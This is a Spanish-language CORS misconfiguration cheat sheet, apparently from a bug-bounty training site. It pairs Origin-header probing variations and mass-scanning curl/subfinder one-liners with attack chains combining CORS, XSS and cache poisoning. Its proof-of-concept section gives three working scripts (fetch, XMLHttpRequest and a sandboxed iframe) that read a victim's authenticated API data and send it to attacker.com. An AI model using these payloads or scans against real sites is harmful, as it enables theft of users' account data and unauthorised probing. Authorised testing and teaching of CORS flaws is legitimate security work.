Nuevos labs cada semana — Accede a todos desde 5€/mes

Cheatsheet CORS

Cross-Origin Resource Sharing

Referencia rápida

  • CORS misconfiguration solo es explotable si Access-Control-Allow-Credentials: true
  • Wildcard (*) en ACAO no permite credenciales - no es explotable directamente
  • Si el origin se refleja exactamente, probar variaciones: null, subdominios, prefijos
  • Combinar con XSS en subdominio: el CORS confia en *.target.com + XSS en sub.target.com
  • Cache poisoning + CORS puede afectar a todos los usuarios, no solo a la victima

Deteccion de CORS misconfiguration

Origin reflejadoSi la respuesta contiene Access-Control-Allow-Origin: https://evil.com + Credentials: true = explotable

Origin: https://evil.com

Origin nullPaginas sandboxed (iframes) envian origin null

Origin: null

Subdominio del targetSi acepta cualquier subdominio, buscar XSS en subdominios

Origin: https://evil.target.com

Prefijo del dominio

Origin: https://target.com.evil.com

Sufijo del dominio

Origin: https://eviltarget.com

PoC de explotacion

Exfiltrar datos con fetch

<script>
fetch('https://target.com/api/user/profile', {credentials: 'include'})
.then(r => r.json())
.then(d => fetch('https://attacker.com/steal?data=' + btoa(JSON.stringify(d))));
</script>

PoC con XMLHttpRequest

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://target.com/api/account', true);
xhr.withCredentials = true;
xhr.onload = function() {
  fetch('https://attacker.com/log?data=' + encodeURIComponent(xhr.responseText));
};
xhr.send();
</script>

Origin null via iframe sandboxiframe sandbox envia Origin: null

<iframe sandbox="allow-scripts" srcdoc="<script>
fetch('https://target.com/api/me', {credentials:'include'})
.then(r=>r.text())
.then(d=>fetch('https://attacker.com/?d='+btoa(d)));
</script>"></iframe>

Metodologia de testing

Scan masivo con httpx

cat alive.txt | parallel -j 50 curl -sk -H "Origin: https://evil.com" -o /dev/null -D - {} | grep -i "access-control"

Subfinder + CORS check

subfinder -d target.com | httpx -silent | while read url; do
  curl -s -H "Origin: https://evil.com" "$url" -D - | grep -i "access-control"
done

Cadenas de ataque con CORS

XSS en subdominio + CORSSubdomain takeover + CORS es una cadena clasica

1. Encontrar XSS en sub.target.com
2. CORS acepta Origin: https://sub.target.com
3. Desde XSS: fetch datos autenticados de target.com
4. Exfiltrar via XSS callback

CORS + cache poisoning

1. Enviar request con Origin: evil.com
2. Si la respuesta se cachea CON el header ACAO
3. Otros usuarios reciben la respuesta cacheada
4. El browser permite cross-origin desde evil.com

Herramientas

CORScanner

Scanner automatizado de CORS misconfigurations en multiples dominios

python3 cors_scan.py -i targets.txt -t 50

Corsy

Detecta misconfigurations CORS con multiples variaciones de Origin

python3 corsy.py -u https://target.com

curl manual

Verificacion rapida manual de CORS headers

curl -s -H "Origin: https://evil.com" -I https://target.com/api/me | grep -i access-control

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica